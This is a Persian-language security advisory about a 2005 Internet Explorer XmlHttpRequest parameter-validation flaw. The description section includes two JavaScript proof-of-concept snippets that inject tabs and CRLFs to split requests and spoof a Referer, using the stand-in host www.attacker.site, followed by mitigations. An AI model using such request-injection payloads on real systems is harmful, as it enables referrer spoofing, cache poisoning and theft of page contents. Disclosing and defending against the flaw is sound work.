شکاف امنیتی ناشی از اعتبار سنجی نامناسب
پارامترهای ارسالی به
XmlHttpRequest
در
Internet Explorer
تاریخ انتشار:
24 سپتامبر 2005
12:00AM
تاریخ به روزرسانی:
28 سپتامبر 2005
11:10PM
CVE:
CVE-MAP-NOMATCH
کاشف:
Amit Klein
میزان خطر:
---
سیستمهای تحت تاثیر:
Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home
Microsoft Windows XP Professional
چکیده:
به علت وجود نقطه ضعفی در برنامه
Internet Explorer
که ناشی از بررسی نامناسب پارامترهای ارسالی به
XmlHttpRequest
است، اجازه تزریق کردن تقاضاهای
HTTP
دلخواه را به
Internet Explorer
ممکن می سازد.
XmlHttpRequest
یک شی
Javascript
است (یکی از اجزای هسته
AJAX).
این شی به کد
Javascript
سمت
Client
اجازه فرستادن تقاضاهای
Raw
HTTP
به میزبان اصلی و همچنین دستیابی به بدنه پاسخ های برگشتی
(Responses)
به صورت
Raw
Form
را فراهم می کند.
یک نفوذگر با سوء استفاده از این نقطه ضعف
می تواند علاوه بر فریب دادن یک وب سایت، یک مرورگر را مجبور به
تقاضا کردن یک سایت روی ماشین محلی یا روی میزبان دیگری غیر از
ماشین محلی نماید، البته به شرطی که از یک
forwarding proxy server
استفاده شده باشد. سپس نفوذگر با جلوگیری کردن از دریافت پاسخ
توسط مرورگر می تواند اطلاعات حساس را سرقت کند و از این اطلاعات
در حملات بعدی استفاده نماید. یک حمله موفق می تواند پیامدهای گوناگونی داشته
باشد مانند حملات
HTTP
Request Smuggling
یا حمله
Man
in the Middle
(که
طی آن هکر به ترافیک بین کاربر و یک سایت دیگر نفوذ می کند)و
یا فاش سازی اطلاعات.
توضیح:
بطور کلی یک نفوذگر می تواند با سوء استفاده از
این نقطه ضعف از تکنیکهای زیر استفاده نماید:
·
Referrer spoofing
·
HTTP Request Smuggling , HTTP Response
Splitting and Web cache poisoning
·
Accessing content / web-scanning
در اینجا فقط تکنیک اصلی یعنی
Referrer Spoofing
بررسی می شود.
بازیابی یک صفحه با استفاده از یک
Referrer Spoofing:
مفروضات زیر را در نظر بگیرید: وب سایت نفوذگر
www.attacker.site
و وب سایت مقصد
www.target.site
است. از
Forwarding Proxy Server
استفاده می شود و یا اینکه سایت نفوذگر و مقصد بطور مجازی روی
آدرس
IP
یکسانی میزبانی می شوند.
Client
یک صفحه که حاوی کد
Javascript
است را از سایت
www.attacker.site
دریافت می کند. این کد برای پیاده سازی حمله نوشته و طراحی شده
است. کد
Javascript
مذکور با
exploit
کردن شی
XmlHttpRequest
(که از طریق ارسال پارامترهای خاصی به آن می باشد) موجب شروع
حمله با توجه به تکنیک بکار رفته در کد
Javascript
می شود.
کد
Javascript
در زیر (به عنوان بخشی از صفحه دریافت شده از سایت
www.attacker.site)
می تواند توسط
Internet Explorer
برای فرستادن یک
Referrer
معتبر و خواندن محتویات صفحات وب استفاده شود (این مثال روی
Internet Explorer 6.0 SP2
تست و اجرا شده است و فرض بر این است که از
forwarding proxy server
استفاده می شود).
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
توجه کنید که در خطوط تقاضای
HTTP
از
Horizontal Tab (ASCII 0x09)
به جای Space
(ASCII 0x20)
استفاده شده است که در
HTTP/1.1 RFC (RFC 2616)
به طور صریح غیر مجاز شناخته شده است، ولی هنوز خیلی از سرورها
علاوه بر مجاز شمردن چنین نحوی
>(Syntax)
در تقاضاهای فرستاده شده
Horizontal Tab
را به
Space
تبدیل می کنند.
در زیر اسامی تعدادی پروکسی سرور که اجازه
استفاده از
Horizontal Tab
را به عنوان یک جداساز در خط مربوط به تقاضای
HTTP
می دهند، لیست شده است:
- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0
توجه داشته باشید که تکنیک حمله
HTTP
Request Splitting
در این وضعیت اتفاق خواهد افتاد یعنی کد
Javascript
بالا را می توان برای پیاده سازی حمله
HTTP
Request Splitting
بکار برد. در این حالت نفوذگر مرورگر را مجبور به ارسال دو
تقاضای
HTTP
به جای یک تقاضا می کند. در واقع در این تکنیک با هدرهای
HTTP
سروکار داریم.
فرض بعدی این بود که سایتهای
www.attacker.site
و
www.target.site
به طور مجازی روی آدرس
IP
یکسانی میزبانی می شوند. در این حالت کد زیر می تواند مورد
استفاده قرار گیرد:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
نتیجه این کد ارسال دو تقاضا به سرور است که پاسخ
تقاضای اول توسط مرورگر به
XmlHttpRequest
برگشت داده می شود .سپس کد مذکور می تواند صفحه برگشت داده شده
را در پنجره
html
(مثلا
document.body.innerHTML=...)
جاسازی نماید. نکته اینکه کد
Javascript
مخرب می تواند ابتدا صفحه برگشت داده شده را بررسی و دستکاری
نماید. به عنوان مثال میتواند موارد امنیتی ازقبیل
“if((top.location!='http://www.target.site/...')"
را حذف کند.
کد
Exploit:
در بخش توضیح کدهای نمونه آورده شده است.
راه حل:
تا کنون هیچ اصلاحیه ای در رابطه با این شکاف
امنیتی گزارش نشده است. به عنوان پیشنهاد از صاحبان سایتها تقاضا
میشود به موارد زیر توجه کامل داشته باشند:
-
استفاده از
SSL
-
استفاده نکردن از
virtual hosting
با حوزه های غیرقابل اعتماد
-
اعتماد نکردن به کد سمت
client
برای جلوگیری کردن از
cloning/MITM
-
اعتماد نکردن به
Referrer
-
تنظیم کردن صریح
host/domain
در
cookie
منابع:
Technet Security
(Microsoft)
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf
نویسنده:
محسن شریفی |